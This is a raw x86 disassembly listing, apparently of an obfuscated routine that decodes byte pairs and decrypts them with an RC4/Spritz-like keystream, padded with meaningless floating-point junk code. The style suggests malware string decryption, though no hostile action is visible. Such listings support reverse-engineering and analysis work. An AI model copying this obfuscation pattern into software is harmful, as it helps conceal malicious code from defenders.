cmp dword [ebp - 0xa64], ecx
jb 0x487557
mov dword [ebp - 0xa64], 0
movzx edx, byte [ebp - 0x763]
movzx eax, byte [ebp - 0x1fe]
add eax, edx
mov byte [ebp - 0x1fe], al
movzx ecx, byte [ebp - 0x1fe]
and ecx, dword [ebp - 0xcbc]
mov dword [ebp - 0x924], ecx
mov edx, dword [ebp - 0xd14]
add edx, 1
mov dword [ebp - 0xd14], edx
cmp dword [ebp - 0xd14], 0xb
jbe 0x487596
mov eax, dword [ebp - 0x924]
xor edx, edx
div dword [ebp - 0x460]
mov dword [ebp - 0x924], edx
mov eax, dword [ebp - 0x924]
cmp eax, dword [ebp - 0x460]
ja 0x487411
mov ecx, dword [ebp - 0x460]
cmp ecx, dword [ebp - 0x924]
je 0x48763b
mov edx, dword [ebp - 0x924]
movzx eax, byte [ebp + edx - 0x1cd0]
mov ecx, dword [ebp - 0x460]
movzx edx, byte [ebp + ecx - 0x1cd0]
xor edx, eax
mov eax, dword [ebp - 0x460]
mov byte [ebp + eax - 0x1cd0], dl
mov ecx, dword [ebp - 0x460]
movzx edx, byte [ebp + ecx - 0x1cd0]
mov eax, dword [ebp - 0x924]
movzx ecx, byte [ebp + eax - 0x1cd0]
xor ecx, edx
mov edx, dword [ebp - 0x924]
mov byte [ebp + edx - 0x1cd0], cl
mov eax, dword [ebp - 0x924]
movzx ecx, byte [ebp + eax - 0x1cd0]
mov edx, dword [ebp - 0x460]
movzx eax, byte [ebp + edx - 0x1cd0]
xor eax, ecx
mov ecx, dword [ebp - 0x460]
mov byte [ebp + ecx - 0x1cd0], al
jmp 0x4873c1
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x1cd0]
mov byte [ebp - 0x1a9], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x1cd0]
mov byte [ebp - 0x1b6], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x1cd0]
mov byte [ebp - 0x1e0], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x1cd0]
mov byte [ebp - 0x1b7], al
movzx ecx, byte [ebp - 0x1fe]
mov dl, byte [ebp + ecx - 0x1cd0]
mov byte [ebp - 0x1ca], dl
mov dword [ebp - 0xf6c], 0x1c
cmp dword [ebp - 0xf6c], 2
jle 0x488c1e
mov eax, dword [ebp - 0xf6c]
and eax, 1
jne 0x488c1e
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x464], 0
mov ecx, dword [ebp - 0x464]
add ecx, 1
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x6c8], 0
mov edx, dword [ebp - 0x248]
shl edx, 1
mov dword [ebp - 0x6c8], edx
mov dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x6b4]
add eax, dword [ebp - 0x6c8]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x694]
mov dword [ebp - 0x694], ecx
mov dword [ebp - 0x660], 0
mov edx, dword [ebp - 0x660]
add edx, 0x91
mov dword [ebp - 0x660], edx
mov dword [ebp - 0x6b0], 0
mov eax, dword [ebp - 0x248]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x6b0], ecx
mov dword [ebp - 0x65c], 0
mov edx, dword [ebp - 0x6b4]
add edx, dword [ebp - 0x6b0]
movzx eax, byte [edx]
add eax, dword [ebp - 0x65c]
mov dword [ebp - 0x65c], eax
mov dword [ebp - 0x664], 0
mov ecx, dword [ebp - 0x664]
add ecx, 0x2a
mov dword [ebp - 0x664], ecx
mov dword [ebp - 0x658], 0
mov edx, dword [ebp - 0x694]
sub edx, dword [ebp - 0x660]
add edx, dword [ebp - 0x658]
mov dword [ebp - 0x658], edx
mov dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x65c]
sub eax, dword [ebp - 0x664]
add eax, dword [ebp - 0x654]
mov dword [ebp - 0x654], eax
mov dword [ebp - 0x6f4], 0
mov ecx, dword [ebp - 0x658]
shl ecx, 4
mov dword [ebp - 0x6f4], ecx
mov dword [ebp - 0x6f0], 0
mov edx, dword [ebp - 0x654]
mov dword [ebp - 0x6f0], edx
mov dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x6f4]
or eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x6fc], eax
mov byte [ebp - 0x1e2], 0
mov cl, byte [ebp - 0x6fc]
mov byte [ebp - 0x1e2], cl
mov byte [ebp - 0x1df], 0
movzx edx, byte [ebp - 0x1ca]
mov al, byte [ebp + edx - 0x1cd0]
mov byte [ebp - 0x1df], al
movzx ecx, byte [ebp - 0x1a9]
movzx edx, byte [ebp + ecx - 0x1cd0]
mov dword [ebp - 0x192c], edx
mov al, byte [ebp - 0x1a9]
add al, 1
mov byte [ebp - 0x1a9], al
movzx ecx, byte [ebp - 0x1b6]
add ecx, dword [ebp - 0x192c]
mov byte [ebp - 0x1b6], cl
movzx edx, byte [ebp - 0x1b6]
movzx eax, byte [ebp - 0x1ca]
mov cl, byte [ebp + edx - 0x1cd0]
mov byte [ebp + eax - 0x1cd0], cl
movzx edx, byte [ebp - 0x1b7]
movzx eax, byte [ebp - 0x1b6]
mov cl, byte [ebp + edx - 0x1cd0]
mov byte [ebp + eax - 0x1cd0], cl
movzx edx, byte [ebp - 0x1a9]
movzx eax, byte [ebp - 0x1b7]
mov cl, byte [ebp + edx - 0x1cd0]
mov byte [ebp + eax - 0x1cd0], cl
movzx edx, byte [ebp - 0x1a9]
mov al, byte [ebp - 0x1df]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1df]
movzx edx, byte [ebp + ecx - 0x1cd0]
movzx eax, byte [ebp - 0x1e0]
add eax, edx
mov byte [ebp - 0x1e0], al
movzx ecx, byte [ebp - 0x1e2]
movzx edx, byte [ebp - 0x1b6]
movzx eax, byte [ebp + edx - 0x1cd0]
movzx edx, byte [ebp - 0x1a9]
movzx edx, byte [ebp + edx - 0x1cd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1cd0]
xor ecx, eax
movzx edx, byte [ebp - 0x1b7]
movzx eax, byte [ebp + edx - 0x1cd0]
movzx edx, byte [ebp - 0x1ca]
movzx edx, byte [ebp + edx - 0x1cd0]
add eax, edx
movzx edx, byte [ebp - 0x1e0]
movzx edx, byte [ebp + edx - 0x1cd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1cd0]
movzx edx, byte [ebp + eax - 0x1cd0]
xor ecx, edx
mov byte [ebp - 0x1b7], cl
mov al, byte [ebp - 0x1e2]
mov byte [ebp - 0x1ca], al
mov cl, byte [ebp - 0x1b7]
mov byte [ebp - 0x226], cl
cmp dword [ebp - 0x248], 0
jle 0x4879d0
mov edx, dword [ebp - 0x248]
mov al, byte [ebp - 0x226]
mov byte [ebp + edx - 0x71], al
mov ecx, dword [ebp - 0x464]
add ecx, 5
mov dword [ebp - 0x464], ecx
mov edx, dword [ebp - 0x248]
add edx, 1
mov dword [ebp - 0xd18], edx
jmp 0x4879ff
mov eax, dword [ebp - 0xd18]
add eax, 1
mov dword [ebp - 0xd18], eax
mov ecx, dword [ebp - 0xd18]
cmp ecx, dword [ebp - 0x464]
jge 0x487c66
mov edx, dword [ebp - 0x248]
add edx, 1
mov dword [ebp - 0x248], edx
mov eax, dword [ebp - 0x248]
shl eax, 1
mov dword [ebp - 0x6c8], eax
mov ecx, dword [ebp - 0x6b4]
add ecx, dword [ebp - 0x6c8]
movzx edx, byte [ecx]
mov dword [ebp - 0x694], edx
mov dword [ebp - 0x660], 0x91
mov eax, dword [ebp - 0x248]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x6b0], ecx
mov edx, dword [ebp - 0x6b4]
add edx, dword [ebp - 0x6b0]
movzx eax, byte [edx]
mov dword [ebp - 0x65c], eax
mov dword [ebp - 0x664], 0x2a
mov ecx, dword [ebp - 0x694]
sub ecx, dword [ebp - 0x660]
mov dword [ebp - 0x658], ecx
mov edx, dword [ebp - 0x65c]
sub edx, dword [ebp - 0x664]
mov dword [ebp - 0x654], edx
mov eax, dword [ebp - 0x658]
shl eax, 4
mov dword [ebp - 0x6f4], eax
mov ecx, dword [ebp - 0x654]
mov dword [ebp - 0x6f0], ecx
mov edx, dword [ebp - 0x6f4]
or edx, dword [ebp - 0x6f0]
mov dword [ebp - 0x6fc], edx
mov al, byte [ebp - 0x6fc]
mov byte [ebp - 0x1e2], al
movzx ecx, byte [ebp - 0x1ca]
mov dl, byte [ebp + ecx - 0x1cd0]
mov byte [ebp - 0x1df], dl
movzx eax, byte [ebp - 0x1a9]
movzx ecx, byte [ebp + eax - 0x1cd0]
mov dword [ebp - 0x1930], ecx
mov dl, byte [ebp - 0x1a9]
add dl, 1
mov byte [ebp - 0x1a9], dl
movzx eax, byte [ebp - 0x1b6]
add eax, dword [ebp - 0x1930]
mov byte [ebp - 0x1b6], al
movzx ecx, byte [ebp - 0x1b6]
movzx edx, byte [ebp - 0x1ca]
mov al, byte [ebp + ecx - 0x1cd0]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1b7]
movzx edx, byte [ebp - 0x1b6]
mov al, byte [ebp + ecx - 0x1cd0]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1a9]
movzx edx, byte [ebp - 0x1b7]
mov al, byte [ebp + ecx - 0x1cd0]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1a9]
mov dl, byte [ebp - 0x1df]
mov byte [ebp + ecx - 0x1cd0], dl
movzx eax, byte [ebp - 0x1df]
movzx ecx, byte [ebp + eax - 0x1cd0]
movzx edx, byte [ebp - 0x1e0]
add edx, ecx
mov byte [ebp - 0x1e0], dl
movzx eax, byte [ebp - 0x1e2]
movzx ecx, byte [ebp - 0x1b6]
movzx edx, byte [ebp + ecx - 0x1cd0]
movzx ecx, byte [ebp - 0x1a9]
movzx ecx, byte [ebp + ecx - 0x1cd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1cd0]
xor eax, edx
movzx ecx, byte [ebp - 0x1b7]
movzx edx, byte [ebp + ecx - 0x1cd0]
movzx ecx, byte [ebp - 0x1ca]
movzx ecx, byte [ebp + ecx - 0x1cd0]
add edx, ecx
movzx ecx, byte [ebp - 0x1e0]
movzx ecx, byte [ebp + ecx - 0x1cd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1cd0]
movzx ecx, byte [ebp + edx - 0x1cd0]
xor eax, ecx
mov byte [ebp - 0x1b7], al
mov dl, byte [ebp - 0x1e2]
mov byte [ebp - 0x1ca], dl
mov al, byte [ebp - 0x1b7]
mov byte [ebp - 0x226], al
cmp dword [ebp - 0x248], 0
jle 0x487c61
mov ecx, dword [ebp - 0x248]
mov dl, byte [ebp - 0x226]
mov byte [ebp + ecx - 0x71], dl
jmp 0x4879f0
mov eax, dword [ebp - 0x464]
add eax, 1
mov dword [ebp - 0x464], eax
mov ecx, dword [ebp - 0x464]
add ecx, 5
mov dword [ebp - 0x464], ecx
mov edx, dword [ebp - 0x248]
add edx, 1
mov dword [ebp - 0xd1c], edx
jmp 0x487ca4
mov eax, dword [ebp - 0xd1c]
add eax, 1
mov dword [ebp - 0xd1c], eax
mov ecx, dword [ebp - 0xd1c]
cmp ecx, dword [ebp - 0x464]
jge 0x4884c9
mov edx, dword [ebp - 0x248]
add edx, 1
mov dword [ebp - 0x248], edx
mov eax, dword [ebp - 0x248]
shl eax, 1
mov dword [ebp - 0x6c8], eax
mov ecx, dword [ebp - 0x6b4]
add ecx, dword [ebp - 0x6c8]
movzx edx, byte [ecx]
mov dword [ebp - 0x694], edx
mov dword [ebp - 0x660], 0x91
mov eax, dword [ebp - 0x248]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x6b0], ecx
mov edx, dword [ebp - 0x6b4]
add edx, dword [ebp - 0x6b0]
movzx eax, byte [edx]
mov dword [ebp - 0x65c], eax
mov dword [ebp - 0x664], 0x2a
mov ecx, dword [ebp - 0x694]
sub ecx, dword [ebp - 0x660]
mov dword [ebp - 0x658], ecx
mov edx, dword [ebp - 0x65c]
sub edx, dword [ebp - 0x664]
mov dword [ebp - 0x654], edx
mov eax, dword [ebp - 0x658]
shl eax, 4
mov dword [ebp - 0x6f4], eax
mov ecx, dword [ebp - 0x654]
mov dword [ebp - 0x6f0], ecx
mov edx, dword [ebp - 0x6f4]
or edx, dword [ebp - 0x6f0]
mov dword [ebp - 0x6fc], edx
mov al, byte [ebp - 0x6fc]
mov byte [ebp - 0x1e2], al
movzx ecx, byte [ebp - 0x1ca]
mov dl, byte [ebp + ecx - 0x1cd0]
mov byte [ebp - 0x1df], dl
movzx eax, byte [ebp - 0x1a9]
movzx ecx, byte [ebp + eax - 0x1cd0]
mov dword [ebp - 0x1934], ecx
mov dl, byte [ebp - 0x1a9]
add dl, 1
mov byte [ebp - 0x1a9], dl
movzx eax, byte [ebp - 0x1b6]
add eax, dword [ebp - 0x1934]
mov byte [ebp - 0x1b6], al
movzx ecx, byte [ebp - 0x1b6]
movzx edx, byte [ebp - 0x1ca]
mov al, byte [ebp + ecx - 0x1cd0]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1b7]
movzx edx, byte [ebp - 0x1b6]
mov al, byte [ebp + ecx - 0x1cd0]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1a9]
movzx edx, byte [ebp - 0x1b7]
mov al, byte [ebp + ecx - 0x1cd0]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1a9]
mov dl, byte [ebp - 0x1df]
mov byte [ebp + ecx - 0x1cd0], dl
movzx eax, byte [ebp - 0x1df]
movzx ecx, byte [ebp + eax - 0x1cd0]
movzx edx, byte [ebp - 0x1e0]
add edx, ecx
mov byte [ebp - 0x1e0], dl
movzx eax, byte [ebp - 0x1e2]
movzx ecx, byte [ebp - 0x1b6]
movzx edx, byte [ebp + ecx - 0x1cd0]
movzx ecx, byte [ebp - 0x1a9]
movzx ecx, byte [ebp + ecx - 0x1cd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1cd0]
xor eax, edx
movzx ecx, byte [ebp - 0x1b7]
movzx edx, byte [ebp + ecx - 0x1cd0]
movzx ecx, byte [ebp - 0x1ca]
movzx ecx, byte [ebp + ecx - 0x1cd0]
add edx, ecx
movzx ecx, byte [ebp - 0x1e0]
movzx ecx, byte [ebp + ecx - 0x1cd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1cd0]
movzx ecx, byte [ebp + edx - 0x1cd0]
xor eax, ecx
mov byte [ebp - 0x1b7], al
movss xmm0, dword [0x5829f4]
movss dword [ebp - 0x328], xmm0
movss xmm0, dword [0x5829c8]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [0x582988]
movss dword [ebp - 0x310], xmm0
movss xmm0, dword [0x5828f8]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [0x58287c]
movss dword [ebp - 0x30c], xmm0
movss xmm0, dword [0x5827e0]
movss dword [ebp - 0x244], xmm0
movss xmm0, dword [ebp - 0x30c]
addss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x30c], xmm0
movss xmm0, dword [ebp - 0x310]
addss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x310], xmm0
movss xmm0, dword [ebp - 0x328]
subss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x328], xmm0
movss xmm0, dword [ebp - 0x328]
addss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x328], xmm0
movss xmm0, dword [ebp - 0x260]
subss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [ebp - 0x260]
mulss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [ebp - 0x260]
comiss xmm0, dword [ebp - 0x244]
jbe 0x48807b
movss xmm0, dword [ebp - 0x244]
mulss xmm0, dword [ebp - 0x328]
movss dword [ebp - 0x244], xmm0
movss xmm0, dword [ebp - 0x328]
mulss xmm0, dword [ebp - 0x2a0]
movss dword [ebp - 0x328], xmm0
movss xmm0, dword [ebp - 0x30c]
addss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x30c], xmm0
movss xmm0, dword [ebp - 0x310]
mulss xmm0, dword [ebp - 0x260]
movss dword [ebp - 0x310], xmm0
movss xmm0, dword [ebp - 0x30c]
mulss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x30c], xmm0
movss xmm0, dword [ebp - 0x2a0]
subss xmm0, dword [ebp - 0x310]
movss dword [ebp - 0x2a0], xmm0
mov dl, byte [ebp - 0x1e2]
mov byte [ebp - 0x1ca], dl
jmp 0x48849f
movss xmm0, dword [ebp - 0x310]
mulss xmm0, dword [ebp - 0x260]
movss dword [ebp - 0x310], xmm0
movss xmm0, dword [ebp - 0x244]
subss xmm0, dword [ebp - 0x328]
movss dword [ebp - 0x244], xmm0
movss xmm0, dword [ebp - 0x260]
addss xmm0, dword [ebp - 0x30c]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [ebp - 0x2a0]
addss xmm0, dword [ebp - 0x310]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x2a0]
addss xmm0, dword [ebp - 0x310]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x2a0]
addss xmm0, dword [ebp - 0x310]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x2a0]
subss xmm0, dword [ebp - 0x310]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x260]
mulss xmm0, dword [ebp - 0x30c]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [ebp - 0x260]
addss xmm0, dword [ebp - 0x30c]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [ebp - 0x260]
subss xmm0, dword [ebp - 0x30c]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [ebp - 0x244]
subss xmm0, dword [ebp - 0x328]
movss dword [ebp - 0x244], xmm0
movss xmm0, dword [ebp - 0x244]
mulss xmm0, dword [ebp - 0x328]
movss dword [ebp - 0x244], xmm0
movss xmm0, dword [ebp - 0x260]
comiss xmm0, dword [ebp - 0x244]
jbe 0x48840f
movss xmm0, dword [ebp - 0x328]
mulss xmm0, dword [ebp - 0x2a0]
movss dword [ebp - 0x328], xmm0
movss xmm0, dword [ebp - 0x328]
subss xmm0, dword [ebp - 0x2a0]
movss dword [ebp - 0x328], xmm0
movss xmm0, dword [ebp - 0x30c]
mulss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x30c], xmm0
movss xmm0, dword [ebp - 0x328]
mulss xmm0, dword [ebp - 0x2a0]
movss dword [ebp - 0x328], xmm0
movss xmm0, dword [ebp - 0x260]
divss xmm0, dword [ebp - 0x30c]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [ebp - 0x310]
divss xmm0, dword [ebp - 0x260]
movss dword [ebp - 0x310], xmm0
movss xmm0, dword [ebp - 0x2a0]
divss xmm0, dword [ebp - 0x310]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x310]
divss xmm0, dword [ebp - 0x260]
movss dword [ebp - 0x310], xmm0
movss xmm0, dword [ebp - 0x30c]
mulss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x30c], xmm0
movss xmm0, dword [ebp - 0x244]
subss xmm0, dword [ebp - 0x328]
movss dword [ebp - 0x244], xmm0
movss xmm0, dword [ebp - 0x244]
addss xmm0, dword [ebp - 0x328]
movss dword [ebp - 0x244], xmm0
movss xmm0, dword [ebp - 0x260]
subss xmm0, dword [ebp - 0x30c]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [ebp - 0x260]
comiss xmm0, dword [ebp - 0x244]
jbe 0x48837a
movss xmm0, dword [ebp - 0x30c]
mulss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x30c], xmm0
movss xmm0, dword [ebp - 0x310]
subss xmm0, dword [ebp - 0x260]
movss dword [ebp - 0x310], xmm0
movss xmm0, dword [ebp - 0x30c]
divss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x30c], xmm0
movss xmm0, dword [ebp - 0x2a0]
addss xmm0, dword [ebp - 0x310]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x310]
mulss xmm0, dword [ebp - 0x260]
movss dword [ebp - 0x310], xmm0
movss xmm0, dword [ebp - 0x260]
subss xmm0, dword [ebp - 0x30c]
movss dword [ebp - 0x260], xmm0
jmp 0x48840a
movss xmm0, dword [ebp - 0x2a0]
divss xmm0, dword [ebp - 0x260]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x260]
subss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [ebp - 0x2a0]
mulss xmm0, dword [ebp - 0x260]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x260]
mulss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x260], xmm0
movss xmm0, dword [ebp - 0x2a0]
divss xmm0, dword [ebp - 0x260]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x244]
divss xmm0, dword [ebp - 0x2a0]
movss dword [ebp - 0x244], xmm0
jmp 0x48849f
movss xmm0, dword [ebp - 0x244]
subss xmm0, dword [ebp - 0x328]
movss dword [ebp - 0x244], xmm0
movss xmm0, dword [ebp - 0x30c]
mulss xmm0, dword [ebp - 0x244]
movss dword [ebp - 0x30c], xmm0
movss xmm0, dword [ebp - 0x2a0]
subss xmm0, dword [ebp - 0x310]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x244]
subss xmm0, dword [ebp - 0x328]
movss dword [ebp - 0x244], xmm0
movss xmm0, dword [ebp - 0x2a0]
mulss xmm0, dword [ebp - 0x310]
movss dword [ebp - 0x2a0], xmm0
movss xmm0, dword [ebp - 0x328]
addss xmm0, dword [ebp - 0x2a0]
movss dword [ebp - 0x328], xmm0
mov al, byte [ebp - 0x1b7]
mov byte [ebp - 0x226], al
cmp dword [ebp - 0x248], 0
jle 0x4884c4
mov ecx, dword [ebp - 0x248]
mov dl, byte [ebp - 0x226]
mov byte [ebp + ecx - 0x71], dl
jmp 0x487c95
mov eax, dword [ebp - 0x464]
add eax, 1
mov dword [ebp - 0x464], eax
mov ecx, dword [ebp - 0x248]
add ecx, 1
mov dword [ebp - 0x248], ecx
mov edx, dword [ebp - 0x464]
add edx, 1
mov dword [ebp - 0x464], edx
mov eax, dword [ebp - 0x248]
shl eax, 1
mov dword [ebp - 0x6c8], eax
mov ecx, dword [ebp - 0x6b4]
add ecx, dword [ebp - 0x6c8]
movzx edx, byte [ecx]
mov dword [ebp - 0x694], edx
mov dword [ebp - 0x660], 0x91
mov eax, dword [ebp - 0x248]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x6b0], ecx
mov edx, dword [ebp - 0x6b4]
add edx, dword [ebp - 0x6b0]
movzx eax, byte [edx]
mov dword [ebp - 0x65c], eax
mov dword [ebp - 0x664], 0x2a
mov ecx, dword [ebp - 0x694]
sub ecx, dword [ebp - 0x660]
mov dword [ebp - 0x658], ecx
mov edx, dword [ebp - 0x65c]
sub edx, dword [ebp - 0x664]
mov dword [ebp - 0x654], edx
mov eax, dword [ebp - 0x658]
shl eax, 4
mov dword [ebp - 0x6f4], eax
mov ecx, dword [ebp - 0x654]
mov dword [ebp - 0x6f0], ecx
mov edx, dword [ebp - 0x6f4]
or edx, dword [ebp - 0x6f0]
mov dword [ebp - 0x6fc], edx
mov al, byte [ebp - 0x6fc]
mov byte [ebp - 0x1e2], al
movzx ecx, byte [ebp - 0x1ca]
mov dl, byte [ebp + ecx - 0x1cd0]
mov byte [ebp - 0x1df], dl
movzx eax, byte [ebp - 0x1a9]
movzx ecx, byte [ebp + eax - 0x1cd0]
mov dword [ebp - 0x1938], ecx
mov dl, byte [ebp - 0x1a9]
add dl, 1
mov byte [ebp - 0x1a9], dl
movzx eax, byte [ebp - 0x1b6]
add eax, dword [ebp - 0x1938]
mov byte [ebp - 0x1b6], al
movzx ecx, byte [ebp - 0x1b6]
movzx edx, byte [ebp - 0x1ca]
mov al, byte [ebp + ecx - 0x1cd0]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1b7]
movzx edx, byte [ebp - 0x1b6]
mov al, byte [ebp + ecx - 0x1cd0]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1a9]
movzx edx, byte [ebp - 0x1b7]
mov al, byte [ebp + ecx - 0x1cd0]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1a9]
mov dl, byte [ebp - 0x1df]
mov byte [ebp + ecx - 0x1cd0], dl
movzx eax, byte [ebp - 0x1df]
movzx ecx, byte [ebp + eax - 0x1cd0]
movzx edx, byte [ebp - 0x1e0]
add edx, ecx
mov byte [ebp - 0x1e0], dl
movzx eax, byte [ebp - 0x1e2]
movzx ecx, byte [ebp - 0x1b6]
movzx edx, byte [ebp + ecx - 0x1cd0]
movzx ecx, byte [ebp - 0x1a9]
movzx ecx, byte [ebp + ecx - 0x1cd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1cd0]
xor eax, edx
movzx ecx, byte [ebp - 0x1b7]
movzx edx, byte [ebp + ecx - 0x1cd0]
movzx ecx, byte [ebp - 0x1ca]
movzx ecx, byte [ebp + ecx - 0x1cd0]
add edx, ecx
movzx ecx, byte [ebp - 0x1e0]
movzx ecx, byte [ebp + ecx - 0x1cd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1cd0]
movzx ecx, byte [ebp + edx - 0x1cd0]
xor eax, ecx
mov byte [ebp - 0x1b7], al
mov dl, byte [ebp - 0x1e2]
mov byte [ebp - 0x1ca], dl
mov al, byte [ebp - 0x1b7]
mov byte [ebp - 0x226], al
cmp dword [ebp - 0x248], 0
jle 0x488737
mov ecx, dword [ebp - 0x248]
mov dl, byte [ebp - 0x226]
mov byte [ebp + ecx - 0x71], dl
mov eax, dword [ebp - 0x248]
add eax, 1
mov dword [ebp - 0x248], eax
mov ecx, dword [ebp - 0x464]
add ecx, 1
mov dword [ebp - 0x464], ecx
mov edx, dword [ebp - 0x248]
shl edx, 1
mov dword [ebp - 0x6c8], edx
mov eax, dword [ebp - 0x6b4]
add eax, dword [ebp - 0x6c8]
movzx ecx, byte [eax]
mov dword [ebp - 0x694], ecx
mov dword [ebp - 0x660], 0x91
mov edx, dword [ebp - 0x248]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x6b0], eax
mov ecx, dword [ebp - 0x6b4]
add ecx, dword [ebp - 0x6b0]
movzx edx, byte [ecx]
mov dword [ebp - 0x65c], edx
mov dword [ebp - 0x664], 0x2a
mov eax, dword [ebp - 0x694]
sub eax, dword [ebp - 0x660]
mov dword [ebp - 0x658], eax
mov ecx, dword [ebp - 0x65c]
sub ecx, dword [ebp - 0x664]
mov dword [ebp - 0x654], ecx
mov edx, dword [ebp - 0x658]
shl edx, 4
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x654]
mov dword [ebp - 0x6f0], eax
mov ecx, dword [ebp - 0x6f4]
or ecx, dword [ebp - 0x6f0]
mov dword [ebp - 0x6fc], ecx
mov dl, byte [ebp - 0x6fc]
mov byte [ebp - 0x1e2], dl
movzx eax, byte [ebp - 0x1ca]
mov cl, byte [ebp + eax - 0x1cd0]
mov byte [ebp - 0x1df], cl
movzx edx, byte [ebp - 0x1a9]
movzx eax, byte [ebp + edx - 0x1cd0]
mov dword [ebp - 0x193c], eax
mov cl, byte [ebp - 0x1a9]
add cl, 1
mov byte [ebp - 0x1a9], cl
movzx edx, byte [ebp - 0x1b6]
add edx, dword [ebp - 0x193c]
mov byte [ebp - 0x1b6], dl
movzx eax, byte [ebp - 0x1b6]
movzx ecx, byte [ebp - 0x1ca]
mov dl, byte [ebp + eax - 0x1cd0]
mov byte [ebp + ecx - 0x1cd0], dl
movzx eax, byte [ebp - 0x1b7]
movzx ecx, byte [ebp - 0x1b6]
mov dl, byte [ebp + eax - 0x1cd0]
mov byte [ebp + ecx - 0x1cd0], dl
movzx eax, byte [ebp - 0x1a9]
movzx ecx, byte [ebp - 0x1b7]
mov dl, byte [ebp + eax - 0x1cd0]
mov byte [ebp + ecx - 0x1cd0], dl
movzx eax, byte [ebp - 0x1a9]
mov cl, byte [ebp - 0x1df]
mov byte [ebp + eax - 0x1cd0], cl
movzx edx, byte [ebp - 0x1df]
movzx eax, byte [ebp + edx - 0x1cd0]
movzx ecx, byte [ebp - 0x1e0]
add ecx, eax
mov byte [ebp - 0x1e0], cl
movzx edx, byte [ebp - 0x1e2]
movzx eax, byte [ebp - 0x1b6]
movzx ecx, byte [ebp + eax - 0x1cd0]
movzx eax, byte [ebp - 0x1a9]
movzx eax, byte [ebp + eax - 0x1cd0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1cd0]
xor edx, ecx
movzx eax, byte [ebp - 0x1b7]
movzx ecx, byte [ebp + eax - 0x1cd0]
movzx eax, byte [ebp - 0x1ca]
movzx eax, byte [ebp + eax - 0x1cd0]
add ecx, eax
movzx eax, byte [ebp - 0x1e0]
movzx eax, byte [ebp + eax - 0x1cd0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1cd0]
movzx eax, byte [ebp + ecx - 0x1cd0]
xor edx, eax
mov byte [ebp - 0x1b7], dl
mov cl, byte [ebp - 0x1e2]
mov byte [ebp - 0x1ca], cl
